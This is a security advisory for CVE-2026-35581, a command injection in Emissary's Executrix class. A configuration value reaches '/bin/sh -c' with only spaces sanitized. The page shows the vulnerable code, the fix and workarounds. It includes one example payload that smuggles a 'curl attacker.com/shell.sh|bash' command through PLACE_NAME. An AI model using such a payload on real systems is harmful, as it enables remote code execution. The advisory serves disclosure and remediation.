CVE-2026-35581: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix
Summary The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, , $, , (, ), etc.) to pass through into /bin/sh -c command execution.
Published Apr 8, 2026 · Updated Nov 4, 2026
Affected packages
gov.nsa.emissary:emissary
- Ecosystem
- Maven
- Affected
- < 8.39.0
- Fixed in
- 8.39.0
- Check
mvn dependency:tree -Dincludes=gov.nsa.emissary:emissary
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, ` `, (, ), etc.) to pass through into /bin/sh -c` command execution.
Details
Vulnerable code — Executrix.java
Insufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass throughShell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}Data flow
PLACE_NAMEis read from a configuration fileExecutrixapplies only a space-to-underscore replacement- The
placeNameis used to construct temporary directory paths (tmpNames[DIR]) tmpNames[DIR]is concatenated into a shell command string- The command is executed via
/bin/sh -c
Example payload
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)
Impact
- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Remediation
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Workarounds
If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290 — validate placename with an allowlist
- Original report: GHSA-wjqm-p579-x3ww
Credited to BrennanTM, ranjiGT.
References
- https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v
- https://nvd.nist.gov/vuln/detail/CVE-2026-35581
- https://github.com/NationalSecurityAgency/emissary/pull/1290
- https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0
- https://github.com/advisories/GHSA-6c37-7w4p-jg9v
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Maven vulnerabilities
All Maven entriesCVE-2026-54442
NationalSecurityAgency/emissary has an incomplete fix for CVE-2026-35571
medium4.8Oct 30, 2026CVE-2026-35582
Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix
high8.8Apr 13, 2026CVE-2026-35580
Emissary has GitHub Actions Shell Injection via Workflow Inputs
critical9.1Apr 8, 2026CVE-2026-35583
Emissary has a Path Traversal via Blacklist Bypass in Configuration API
medium5.3Apr 8, 2026CVE-2026-35571
Emissary has Stored XSS via Navigation Template Link Injection
medium4.8Apr 7, 2026CVE-2025-27508
Emissary May Use a Broken or Risky Cryptographic Algorithm
high7.5Mar 5, 2025
